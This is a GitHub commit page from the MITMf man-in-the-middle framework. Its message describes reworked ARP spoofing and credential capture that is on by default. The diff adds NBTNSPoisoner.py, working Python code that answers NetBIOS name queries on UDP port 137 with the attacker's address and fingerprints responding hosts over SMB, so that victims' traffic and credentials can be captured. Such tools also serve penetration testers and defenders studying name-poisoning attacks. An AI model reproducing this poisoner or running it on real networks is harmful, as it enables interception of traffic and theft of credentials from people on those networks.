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https://github.com/byt3bl33d3r/MITMf.git
synced 2025-08-20 21:43:28 -07:00
This is 1/2 of the work done... lot's of cool stuff!
I've re-written a decent amount of the framework to support dynamic config file updates, revamped the ARP Spoofing 'engine' and changed the way MITMf integrates Responder and Netcreds. - Net-creds is now started by default and no longer a plugin.. It's all about getting those creds after all. - Integrated the Subterfuge Framework's ARPWatch script, it will enable itself when spoofing the whole subnet (also squashed bugs in the original ARP spoofing code) - The spoof plugin now supports specifying a range of targets (e.g. --target 10.10.10.1-15) and multiple targets (e.g. --target 10.10.10.1,10.10.10.2) - An SMB Server is now started by default, MITMf now uses Impacket's SMBserver as supposed to the one built into Responder, mainly for 2 reasons: 1) Impacket is moving towards SMB2 support and is actively developed 2) Impacket's SMB server is fully functional as supposed to Responder's (will be adding a section for it in the config file) 3) Responder's SMB server was unrealiable when used through MITMf (After spending a day trying to figure out why, I just gave up and yanked it out) - Responder's code has been broken down into single importable classes (way easier to manage and read, ugh!) - Started adding dynamic config support to Responder's code and changed the logging messages to be a bit more readable. - POST data captured through the proxy will now only be logged and printed to STDOUT when it's decodable to UTF-8 (this prevents logging encrypted data which is no use) - Responder and the Beefapi script are no longer submodules (they seem to be a pain to package, so i removed them to help a brother out) - Some plugins are missing because I'm currently re-writing them, will be added later - Main plugin class now inharates from the ConfigWatcher class, this way plugins will support dynamic configs natively! \o/
This commit is contained in:
byt3bl33d3r
parent
663f38e732
commit
9712eed4a3
92 changed files with 6883 additions and 3349 deletions
208
core/responder/nbtns/NBTNSPoisoner.py
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208
core/responder/nbtns/NBTNSPoisoner.py
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@ -0,0 +1,208 @@
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#! /usr/bin/env python2.7
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from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
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import threading
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import struct
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from core.responder.packet import Packet
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class NBTNSPoisoner():
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def start():
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server = ThreadingUDPServer(("0.0.0.0", 137), NB)
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t = threading.Thread(name="NBNS", target=server.serve_forever()) #NBNS
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t.setDaemon(True)
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t.start()
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class ThreadingUDPServer(ThreadingMixIn, UDPServer):
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allow_reuse_address = 1
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def server_bind(self):
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UDPServer.server_bind(self)
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#NBT-NS answer packet.
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class NBT_Ans(Packet):
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fields = OrderedDict([
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("Tid", ""),
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("Flags", "\x85\x00"),
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("Question", "\x00\x00"),
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("AnswerRRS", "\x00\x01"),
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("AuthorityRRS", "\x00\x00"),
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("AdditionalRRS", "\x00\x00"),
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("NbtName", ""),
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("Type", "\x00\x20"),
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("Classy", "\x00\x01"),
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("TTL", "\x00\x00\x00\xa5"),
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("Len", "\x00\x06"),
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("Flags1", "\x00\x00"),
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("IP", "\x00\x00\x00\x00"),
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])
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def calculate(self,data):
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self.fields["Tid"] = data[0:2]
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self.fields["NbtName"] = data[12:46]
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self.fields["IP"] = inet_aton(OURIP)
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def NBT_NS_Role(data):
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Role = {
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"\x41\x41\x00":"Workstation/Redirector Service.",
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"\x42\x4c\x00":"Domain Master Browser. This name is likely a domain controller or a homegroup.)",
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"\x42\x4d\x00":"Domain controller service. This name is a domain controller.",
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"\x42\x4e\x00":"Local Master Browser.",
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"\x42\x4f\x00":"Browser Election Service.",
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"\x43\x41\x00":"File Server Service.",
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"\x41\x42\x00":"Browser Service.",
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}
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if data in Role:
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return Role[data]
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else:
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return "Service not known."
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# Define what are we answering to.
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def Validate_NBT_NS(data,Wredirect):
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if AnalyzeMode:
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return False
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if NBT_NS_Role(data[43:46]) == "File Server Service.":
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return True
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if NBTNSDomain == True:
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if NBT_NS_Role(data[43:46]) == "Domain controller service. This name is a domain controller.":
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return True
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if Wredirect == True:
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if NBT_NS_Role(data[43:46]) == "Workstation/Redirector Service.":
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return True
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else:
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return False
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def Decode_Name(nbname):
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#From http://code.google.com/p/dpkt/ with author's permission.
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try:
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if len(nbname) != 32:
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return nbname
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l = []
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for i in range(0, 32, 2):
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l.append(chr(((ord(nbname[i]) - 0x41) << 4) |
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((ord(nbname[i+1]) - 0x41) & 0xf)))
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return filter(lambda x: x in string.printable, ''.join(l).split('\x00', 1)[0].replace(' ', ''))
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except:
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return "Illegal NetBIOS name"
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# NBT_NS Server class.
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class NB(BaseRequestHandler):
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def handle(self):
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data, socket = self.request
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Name = Decode_Name(data[13:45])
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if DontRespondToSpecificHost(DontRespondTo):
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if RespondToIPScope(DontRespondTo, self.client_address[0]):
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return None
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if DontRespondToSpecificName(DontRespondToName) and DontRespondToNameScope(DontRespondToName.upper(), Name.upper()):
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return None
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if AnalyzeMode:
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if data[2:4] == "\x01\x10":
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if Is_Finger_On(Finger_On_Off):
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try:
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Finger = RunSmbFinger((self.client_address[0],445))
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Message = "[Analyze mode: NBT-NS] Host: %s is looking for : %s. Service requested is: %s.\nOs Version is: %s Client Version is: %s"%(self.client_address[0], Name,NBT_NS_Role(data[43:46]),Finger[0],Finger[1])
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logger3.warning(Message)
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except Exception:
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Message = "[Analyze mode: NBT-NS] Host: %s is looking for : %s. Service requested is: %s\n"%(self.client_address[0], Name,NBT_NS_Role(data[43:46]))
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logger3.warning(Message)
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else:
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Message = "[Analyze mode: NBT-NS] Host: %s is looking for : %s. Service requested is: %s"%(self.client_address[0], Name,NBT_NS_Role(data[43:46]))
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logger3.warning(Message)
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if RespondToSpecificHost(RespondTo) and AnalyzeMode == False:
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if RespondToIPScope(RespondTo, self.client_address[0]):
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if data[2:4] == "\x01\x10":
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if Validate_NBT_NS(data,Wredirect):
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if RespondToSpecificName(RespondToName) == False:
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buff = NBT_Ans()
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buff.calculate(data)
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for x in range(1):
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socket.sendto(str(buff), self.client_address)
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Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name)
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#responder_logger.info(Message)
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logger2.warning(Message)
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if Is_Finger_On(Finger_On_Off):
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try:
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Finger = RunSmbFinger((self.client_address[0],445))
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#print '[+] OsVersion is:%s'%(Finger[0])
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#print '[+] ClientVersion is :%s'%(Finger[1])
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responder_logger.info('[+] OsVersion is:%s'%(Finger[0]))
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responder_logger.info('[+] ClientVersion is :%s'%(Finger[1]))
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except Exception:
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responder_logger.info('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
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pass
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if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
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buff = NBT_Ans()
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buff.calculate(data)
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for x in range(1):
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socket.sendto(str(buff), self.client_address)
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Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name)
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#responder_logger.info(Message)
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logger2.warning(Message)
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if Is_Finger_On(Finger_On_Off):
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try:
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Finger = RunSmbFinger((self.client_address[0],445))
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#print '[+] OsVersion is:%s'%(Finger[0])
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#print '[+] ClientVersion is :%s'%(Finger[1])
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responder_logger.info('[+] OsVersion is:%s'%(Finger[0]))
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responder_logger.info('[+] ClientVersion is :%s'%(Finger[1]))
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except Exception:
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responder_logger.info('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
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pass
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else:
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pass
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else:
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pass
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else:
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if data[2:4] == "\x01\x10":
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if Validate_NBT_NS(data,Wredirect) and AnalyzeMode == False:
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if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
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buff = NBT_Ans()
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buff.calculate(data)
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for x in range(1):
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socket.sendto(str(buff), self.client_address)
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Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name)
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#responder_logger.info(Message)
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logger2.warning(Message)
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if Is_Finger_On(Finger_On_Off):
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try:
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Finger = RunSmbFinger((self.client_address[0],445))
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#print '[+] OsVersion is:%s'%(Finger[0])
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#print '[+] ClientVersion is :%s'%(Finger[1])
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responder_logger.info('[+] OsVersion is:%s'%(Finger[0]))
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responder_logger.info('[+] ClientVersion is :%s'%(Finger[1]))
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except Exception:
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responder_logger.info('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
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pass
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if RespondToSpecificName(RespondToName) == False:
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buff = NBT_Ans()
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buff.calculate(data)
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for x in range(1):
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socket.sendto(str(buff), self.client_address)
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Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name)
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#responder_logger.info(Message)
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logger2.warning(Message)
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if Is_Finger_On(Finger_On_Off):
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try:
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Finger = RunSmbFinger((self.client_address[0],445))
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#print '[+] OsVersion is:%s'%(Finger[0])
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#print '[+] ClientVersion is :%s'%(Finger[1])
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responder_logger.info('[+] OsVersion is:%s'%(Finger[0]))
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responder_logger.info('[+] ClientVersion is :%s'%(Finger[1]))
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except Exception:
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responder_logger.info('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
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pass
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else:
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pass
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